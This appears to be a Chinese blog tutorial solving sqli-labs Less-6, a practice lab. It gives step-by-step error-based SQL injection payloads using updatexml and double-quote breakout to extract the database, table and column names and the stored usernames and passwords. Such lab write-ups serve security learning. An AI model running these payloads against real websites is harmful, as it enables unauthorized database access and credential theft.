sqli-lab教程Less-6

less-6

sqli-lab通过各种方式(整型注入,字符注入,报错注入,布尔盲注,时间盲注,堆叠注入…)爆出库表字段拿到字段值。

此关运用报错注入

学习sqli注入必备语句:
查库:select schema_name from information_schema.schemata

查表:select table_name from information_schema.tables where table_schema=‘security’(此处拿security库为例)

查字段:select column_name from information_schema.columns where table_name=‘users’(此处拿users表例)

查字段的值:select username,password from security.users(此处拿username,password字段为例)

1.用引号试探看出,此处是用双引号包裹的,使用双引号注入
在这里插入图片描述

2.使用- -+闭合,回显恢复
在这里插入图片描述

3.使用order by语句判断列数
在这里插入图片描述

4.发现有三列
在这里插入图片描述

5.使用union select联合查询,把id改成一个不存在的值使得有回显位,这里没有回显。
因为正确的地方只会回显You are in …所以我们要用报错的方式爆出库表列和字段的值

?id=-1" union select 1,2,3 --+

在这里插入图片描述

6.进行爆库操作

?id=1" and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

updatexml:updatexml(1,concat(0x7e,(构造语句),0x7e),1)

在这里插入图片描述

7.进行爆表操作

?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

group_concat:将所有的数据连接进行拼接后作为一行显示
where:指定库的位置
在这里插入图片描述

8.进行爆字段操作

?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

and:逻辑和
在这里插入图片描述

9.进行爆字段值操作

?id=1" and updatexml(1,concat(0x7e,(select group_concat(concat_ws('~',username,password)) from security.users),0x7e),1) --+

concat_ws(’~’,A,B)
显示为(A~B),用于区分用户名、密码
在这里插入图片描述

注入完成! 这是方法之一,后期会出sqlmap工具等教程…

有志者,事竟成!希望你学有所成,加油吧!♥♥♥

如文章有错误感谢指出,联系Q:2181796086

如文章有帮助点赞关注一下吧!

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Brucye

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值